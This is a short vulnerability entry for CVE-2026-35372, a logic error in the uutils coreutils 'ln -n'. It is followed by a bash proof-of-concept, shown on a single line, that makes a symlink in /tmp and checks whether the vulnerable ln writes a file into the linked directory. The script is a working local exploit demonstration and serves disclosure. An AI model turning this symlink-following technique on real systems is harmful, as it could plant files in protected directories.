CVE-2026-35372 uutils coreutils ln逻辑错误漏洞

#!/bin/bash # PoC for CVE-2026-35372: uutils coreutils ln logic error # This demonstrates that `ln -n` dereferences the symlink target. echo "[*] Setting up environment for CVE-2026-35372 PoC..." # Create a sensitive directory simulating a restricted area mkdir -p /tmp/sensitive_target # Create a source file to be linked echo "Malicious Content" > /tmp/malicious_file # Create a symlink pointing to the sensitive directory ln -s /tmp/sensitive_target /tmp/vulnerable_link echo "[*] Attempting to create a link using 'ln -n' (should NOT follow symlink)..." # Vulnerable command: ln -n /tmp/malicious_file /tmp/vulnerable_link # Expected behavior (fixed): Replace /tmp/vulnerable_link with a hard link to /tmp/malicious_file # Vulnerable behavior: Follow /tmp/vulnerable_link -> /tmp/sensitive_target and create link inside it # Assuming 'ln' here is the vulnerable uutils version ln -n /tmp/malicious_file /tmp/vulnerable_link echo "[*] Checking contents of the sensitive target directory..." ls -l /tmp/sensitive_target/ if [ -f /tmp/sensitive_target/malicious_file ]; then echo "[+] Exploit successful! File was written inside the directory pointed by the symlink." else echo "[-] Exploit failed or patched." fi # Cleanup rm -rf /tmp/sensitive_target /tmp/vulnerable_link /tmp/malicious_file